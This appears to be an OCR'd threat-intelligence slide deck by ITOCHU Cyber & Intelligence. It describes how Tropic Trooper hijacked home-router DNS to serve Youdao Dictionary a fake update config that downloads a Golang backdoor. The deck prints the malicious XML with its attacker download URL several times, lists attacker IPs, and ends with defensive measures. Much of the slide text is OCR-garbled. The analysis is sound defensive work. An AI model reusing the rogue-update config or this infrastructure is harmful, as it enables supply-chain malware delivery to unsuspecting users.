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Observati ons So Far

We have been analyzing attacks involving Tropic Trooper
(also known as Pirate Panda, KeyBoy, and APT23) over a long period of fime.

They use different systems as cover for their attacks.
Similar methods are spreading to other groups.
We see signs of attacks targeting Japan and nearby country.

2023/05 - B
2024/03 Spear Phishing

@ 2023/06 Evil Twin Attack ﬁ

2023/06 Abusing VSCode as a RAT
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New Attack Technique Encountered

Strange phenomenon
Malware infection occurs suddenly, despite only normal user actions.

The only suspicious point is the application's update that happened right before the
malware infected.

The application is legitimate, and its update traffic also goes to legitimate
destinations.

We will share the attack mechanism behind this strange phenomenon and our

investigative process as practical, blue-team insight.
o ¥
New oy

Downloader

— 3%

Backdoor

@ 2024/03 - -

2025/05 Legitimate App

ITOCHUCy ber & I ntelligence | nc



02. Revealing the Mechanism
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*  We observed malware appearing suddenly on multiple occasions.

The malware was placed in the dedicated update directory of a dictionary application .

Identifying the exact infection vector was extremely challenging.

*  Commonly suspected routes:

Lat er
USB D
Suppl
Mi T ®?
Fake

a l MoV emen

evice 2?72

v Clhia BeRas AL

App?Pnst al

c YoudaoDict exe (6284)

i 5% cmd exe (5104 ‘ SR
7 45§ cmd exe (7652 Youdao Dictionary
Snseninasmpeed (|cOitimate dictionary application)

+ 5% cmd exe (6864
7 g% cmd exe (8564
& YoudaoDictHelper.exe (7692
g YoudaoDictHelper.exe (3776
& YoudaoDictHelper exe (7992 BadeOOI’
& YoudaoDictHelper.exe (6112
» ccint.exe (5100)

D:\Users\| AppData\Local\Yodao\DeskDict\updaters\20250925212103\ccint.exe

Dedi cated fol der
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Stranee a e

*  Malware was placed in the folder that is created during the dictionary app's update.
*  Very short time gap between folder and malware creation.
*  This suggests the malware was added during the update process

Normal Abnormality Timeline Direction of

Timestamp Events Path File/Folder Details analysis

A folder for saving the

: 2025/05/02 C:¥Users¥<Username> updater will be created.

Create Dedicated Folder 08:28:57 420 Created | ¥AppData¥Local¥Yoda | 20250502072857 | This is normal behavior, and

Be. o¥DeskDict¥updaters¥ the folder name is determined
based on the timestamp.
2025/05/02 : % A The backdoor written in
Get Updater Get Malware .ﬁ 08:28:58.384 Created g Aﬂ;%?:;,iiimg/gza il Golang was created. O
2025/05/02 o¥DeskDict¥updaters¥ SSHLexe
Execute Updater Execute Malware 08:29:33.242 S 20250502072857¥ JlSRackEQonivas executed.
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Skewed DI

*  The official configuration file was replaced with a fake one.

rectili o

*  The fake file became the trigger for the malware

infection.

Normal Abnormality

e

Get Get

New Configuration (xml) Fake Configuration (xml)

Create Dedicated Folder

Get Uida‘rer'

Execute Updater Execute Malware

Get Malware .ﬁ

Timestamp

2025/05/02
08:28:57.359

2025/05/02
08:28:57.420

2025/05/02
08:28:58.384

2025/05/02
08:29:33.242

Events

Modified

Created

Created

Executed

ITOCHUCy ber & I ntelligence

<module=>
<name>youdao_ocr_lib.d1ll</name>
<link>http://codown.youdao.com/cidian/updai
<md5>1ed4038466444365e656dd49b656cd52</md 5
<ver=120</ver=
<mode=inquiry</mode=>
<path=>.</path>
<initiallog/>

</module>

</modules=>

| <updaterurl>http://45.32.117.177/ccint.exe</updaterurl> |

</updater>

75f47ef791344d2148e2d0b63c867c92.xml

Timeline

Path

C:¥ProgramData¥Youd
ao¥DeskDict¥

C:¥Users¥<Username>
¥AppData¥Local¥Yoda
o¥DeskDict¥updaters¥

C:¥Users¥<Username>

¥AppData¥Local¥Yoda

o¥DeskDict¥updaters¥
20250502072857¥%

File/Folder

75f47ef791344d2
148e2d0bb63c867¢
92.xml

20250502072857

ccint.exe

I nc.

Direction of

Details analysis

Update configuration files.
This was a fake configuration ©®©
file prepared by the attacker,
which contained a link to a
fake update server.

A folder for saving the
updater will be created.

This is normal behavior, and
the folder name is determined
based on the timestamp.

The backdoor written in
Golang was created.

The backdoor was executed.
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Convergilng: Cligess Case 1

Case 2
s
Case 3
*  Phenomenon occurred only when connected to the victim's home network. y

*  Organized common patterns across multiple infection cases.

-

Normal Abnormality Timeline Direction of
i Timestamp Events Path File/Folder Details anaIySIS
Network Connection & K
Network Connection (g5 ific Home Router) L eTARE s - Specific Home Router ©®©
N e P : Connection

’/_— \ Update configuration files.
A : 75f47ef791344d2 = This was a fake configuration
.Ge’r _ .Ge‘r : ‘% ozg 222/275 /30529 Modified C-¥Pg§\gérbaergl?§;r§:g e 148e2d0b63c867c | file prepared by the attacker,

New Configuration (xml) Fake Configuration (xml) PRI 92 xml R ichce iaitedia link fo a

fake update server.
A folder for saving the
. 2025/05/02 C:¥Users¥<Username> updater will be created.

Create Dedicated Folder 08:28:57 420 Created | ¥AppData¥lLocal¥Yoda | 20250502072857 | This is normal behavior, and

BeG. s o¥DeskDict¥updaters¥ the folder name is determined
based on the timestamp.
2025/05/02 C:¥Users¥<Usernames The backdoor written in
Get Updater Get Malware 'ﬁ 08:28:58.384 = Ccrested | [ AppData¥Local¥Yoda , Golang was created.
2 ccint.exe
l 2025/05/02 o¥DeskDict¥updaters¥
Execute Updater Execute Malware 08:29:33.242 Cxeaues 20250502072857¥ pusncEooripas executed,
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Taking t he  NexEEaSl ep

Case 1
Case 2

/
: Case 3
Phenomenon occurred only when connected to the victim's home network. /

Organized common patterns across multiple infection cases.

-

Normal Abnormality Timeline Direction of
i Timestamp Events Path File/Folder Details analySIS
_ Network Connection &= K
Network COh&TIOh (Speciwome REL IS Cr;]:;gccir:on 4 Specific Home Router ©
Premise nbatay  Lnvestigation Requests
60 . . . ogra ara
N Qnder nprmal ‘condmons, the dlc‘rlor\qry app receives gl
its configuration data from the official server, but 1. We asked to deploy a sensor on the
the issue occurred only when it was connected to a computer connected to the home router
specific home router., serkerln so that its behavior could be monitored.
Datti¥Local¥
skDict¥upda -
Suspect 2. We asked the user to run a script to
. There was a growing suspicion that the dictionary rewcsern INvestigate the surrounding network

app's update communication might be getting hijacked. chga¥Loccél¥ activity.
skDict¥upda
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Don'

t Overl

00Kk

t he

Oddi ti es

Multiple DNS lookups returned the same IP address.
*  Suggests other apps were also abused in the attack.

The DNS responses had characteristics of the Xiaomi router series "XiaoQiang".

>

[ a

!! = |! -

Home Router

onsrequest | - [ BB XiaoQiang is a device manufactured by Xiaomi.
SRR _.com _'166: domain: cidian.youdao.com
DnsRequest [ - con 149.28.129.74; hddress —T57T85 1.1
DnsRequest -.com 149.28.129.74; Name : cidian.youdao.cnm_

address: 149.28.129.74
bnsrequest |- <o 149.28.129.74;

Resolving DNS using PowerShell for cidian.youdao.com
DnsRequest cidian.youdao.com 149.28.129.74;

Name Type TTL Section IPAddress
—— R fype TIL Section  IPAddress

cidian.youdao.com A i} Answer 149.28.129.74
onskequest |G -~ 149.28.129.74;

Name resolution script execution result
pnsrequest [N com . o . o 4 P
Name resolution log
ITOCHUCy ber & Intelligence | nc. 14
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Negotiated with the owner and collected the home router.

Reproduced the issue and investigated using the actual device.

N

& ,’,'-\'\\0‘3

Home Router

Collected router
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Fak®i gnpost

* A suspicious IP address was configured as the home router's cached DNS server.
*  The user was not aware of this setting.

>
Ca =

DNS Request DNS Request
Destination’ Home Home Router Desﬁ?m*rion‘

Route IP Address 121.196.245.248

B

a
>

Suspicious DNS Server
121[.]196[.]245[.]248
DHCP

B#ESDNS @ =zE=DNS

121.196.245.248

121.196.245.248

ITOCHUCy ber & I ntelligence I|Inc. 16
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*  The suspicious DNS server returned unusual IPs for certain domains.

DNS Response

Update App <Legitimate IP Address>
g = <
Home Router DiSiResRanse

< Unusual IP Address>

DNS result for the dictionary app update domain

Trust DNS Server PS C:¥Users¥MM> Resolve-DnsName -Name cidian.youdao.com
Nane Type TTIL Section NameHost
tidian.youdao.com CNAME 553  Answer dict .youdao.com
Hict .youdao.com CNAME 553  Answer cnane.dict .ntesb3.netease.con
kname.dict .ntesh3.netease.com CNAME 553  Answer oversea.dict .ntesh3.netease.com
Nane : oversea.dict.nteshbd.netease.com
QueryType : A
mTL : 300
Bect ion . Answer
[P4Address : 47.74.23.225
SUSPiCiOUS DNS Server PS C:¥lUsers¥l> Resolve-DnsName -Nane cidian.youdao.com
Name Type TTL Section [PAddress
kidian.youdao.com # 0 fnswer 149.28.129.74

ITOCHUCy ber & I ntelligence I|Inc.

Suspicious DNS Server
121[.]196[.]245[.]248

What is this IP
address???
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Beyond t he S @eEpios:

*  The fake update server was likely distributing fake config files for the dictionary app.

' Finally, malware was downloaded from another host listed in the fake config file.

Update App
T Update Request = :
RBE « > - 5
Home Router
<module>
<name>youdao_ocr_1lib.dl1l</name> Ugiigziiﬁfo?:i:
<link>http://codown.youdao.com/cidian/update/ 9
<md5>1ed4038466444365e656dd49b656cd52</md5> %
<ver=120</ver= \
<mode>inquiry</mode>
<path>.</path= I
<initiallog/> Update Response
</module> Malware File
</modules>
<updaterurl>http://45.32.117.177/ccint.exe</updaterurl> #
</updateT=

Fake Config File(Repost)

ITOCHUCy ber

& I ntelligence | nc.
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Suspicious DNS Server
121[.]196[.]245[.]248

a
L

=

Fake Update Server
149[.128[.]129[.174

Malware Hosted Server
A5[.132[.117[.177 18



Landscape

Our analysis revealed the full extent of the attacker's infrastructure.
The attacker built a covert system to maintain control while staying hidden.
This infrastructure can be reused to target other applications.

Update App ﬁ
- =

x% -ﬁ Home Router

/ SRR N

»
>

Suspicious DNS Server
121[.]196[.1245[.]248

=

A Fake Update Server
— P 149[.128[.]1129[.174

- Trick to deliver malware

—_— disguised as an update > 'ﬁ

Malware Hosted Server
45[.132[.117[.177

Trick to get victims to
run a fake update file

a
L

Trick to hijack DNS

ITOCHUCy ber & I ntelligence I|Inc.
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Att adlserTenacity

The attacker keeps testing new intrusion and persistence techniques.
They use methods that blend into daily workflows for stealthy, long-term access.
They are willing to build large, complex schemes to achieve their objectives.

2023/05 - i
2024/03 Spear Phishing

2023/06 Evil Twin Attack

2023/06 Abusing VSCode as a RAT
N[

2024/03 - Abusing Up;d(a‘re Process
2025/05 Home Network Hijack
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03. Concerns & Measures
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Hard to detect issues in unmanaged networks
Malware delivery via DNS hijacking is hard for users to notice.

With the normal DNS mechanism, there is no way for the resolver to verify whether
the DNS response is legitimate or not.

Home routers at home, public Wi-Fi in cafés

Any environment that uses DNS settings distributed by the router may be exposed to similar
attacks.

In related cases, malware has been reported that intercepts traffic on the router and
redirects it to attacker infrastructure.

https://www.welivesecurity.com/en/eset-research/plushdaemon-compromises-network-
devices-for-adversary-in-the-middle-attacks/

ITOCHUCy ber & I ntelligence I|Inc. 22



Li mi t.s nExtirasntd TSt o1k s Nearksea n = Opt 1 on

Trusted DNS usage
Use internal DNS via full-tunnel VPN or thin-client environments.

Even in networks where settings are distributed by DHCP, prioritize specified DNS
servers.

Use protocols resistant to hijacking
When using public DNS, enforce DNS over TLS or DNS over HTTPS.

Detect anomalies at the endpoint
I't is difficult to recognize abnormalities in networks that are not under your control.
In the end, anomalies must be detected by endpoint mechanisms, such as EDR.

ITOCHUCy ber & I ntelligence I|Inc. 23



04. Conclusions



Conc:l. a.s I2omEs

By looking beyond the outcome of an incident and focusing on the
underlying structure and the attacker’s intent, we can uncover more

general ways of thinking.
These insights become the intelligence that helps us protect ourselves.

Attackers seek to blend into our everyday workflows.
We must therefore question whether the systems we rely on — even those

considered “legitimate” — are truly safe.

ITOCHUCy ber & I ntelligence | nc 25
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Thank you for your attention.
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A .

Date

2023-09-28

2023-10-05

2023-10-06

2024-01-26

2024-08-24

Past

ES

Gifts from Tropical Pirates -New
Dangerous Weapons Hidden in Email
and Malware

Unveiling activities of Tropic Trooper
2023: deep analysis of Xiangoop Loader
and EntryShell payload

Sequel: Gifts from Tropical Pirates -
Who is the Sender? Look for the
Attacker Group

Dark Side of VSCode ~ How Attacker
Abuse VSCode as RAT ~

Pirates of The Nang Hai: Follow the
Artifacts No One Knows

e X -'p.l ansaEtao.r: y.

mat er |

details

Analysis of the initial vector and malware
Same as above

Same as above

Explanation of the distinctive methods used
in the breach

The evolution of malware used in attacks and
an overall picture of the methods used in
attacks

ITOCHUCy ber
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al s

Links

https://blog-
en.itochuci.co.jp/entry/2023/09/28/171001

https://www.virusbulletin.com/uploads/pdf/co
nference/vb2023/slides/Slides-Unveiling-
Activities-of-Tropic-Trooper.pdf

https://blog-
en.itochuci.co.jp/entry/2023/10/06/173200

https://jsac.jpcert.or.jp/archive/2024/pdf/J
SAC2024_2_3_sasada_hazuru_en.pdf

https://hitcon.org/2024/CMT/slides/Pirates
_of_The_Nang_Hai_Follow_the_Artifacts_o
f_Tropic_Trooper,_No_One_Knows.pdf
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B

oCasbt al ned

Network

P
39[.]101[.]207[.]15
45[.132[.J117[.1177
149[.128[.]129].]74

121[.]196[.1245[.]248

GEUEFEL glstisR e sl n' v e.s.t

Details

A Malware Hosted

A Malware Hosted
A CobaltStrike Beacon & Backdoor €2

A Malware Hosted
A Fake Update Server

A Malicious DNS Server
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C. Supportirngisenssd e ne:e

Configuration information (.xml) distributed Revoked digital certificate
from the fake update server (excerpt) used in backdoor (ccint.exe)

<?xml version="1.8" ?=>
<updater=
<version>12040</version>
<des>
<item=>
<ver=12040</ver=
<log=
<line><![CDATA[ <h2 style="margin:®
;">EHE 10.2.4.6:</h2><div style="margin:-10px -13px 0;padd |
eight:160%"><br/>- 2 E 1, {EIuFLR<br/>-AIBox{KIEF+L<br />
RAEIES ; <br/>-MAGEIREEE, ZIRFHFXRFTIRE ; </div> ]
</1line=>
</log=>
</item= TUINBERER
<itg <module> -

<name>chrome_100_percent.pak</name=>
<link=>http://codown.youdao.com/cidian/updaf
40318_152151/chrome_100_percent.pak.7z</1link>
ze:13px;">EHE 10 <md5>b79dc3d90ee6c5c447e2876ddB346c8c</md53
;line-height:160%" >4 <ver>120</ver>
<mode>inquiry</mode=>
<path>.</path=>
</ 11 <initiallog/=
<itg </module> AITLINDT IINBRIBAENERATLE.
<module=

<module=
<name=>youdao_ocr_Llib.dll</name> Jupdai
<link=http://codown.youdao.com/cidian/update/update5/202
40318 152151/youdac_ocr_1lib.d11.7z</1ink=> </md5:
<md5>1ed4038466444365e656dd49b656cd52</md5=>
<ver=120</ver=
<mode=1inql
zpath=.</|
=initiallc
</module>
</ MOUULESS
<updaterurl=http://45.32.117.177/ccint.exe</updaterurl=
</updaters= 110 A5 2021711703

%ProgramData’%¥Youdao¥DeskDict¥75f47ef791344d2148e2d0b63c867c92.xml

ITOCHUCy ber & I ntelligence I|Inc.
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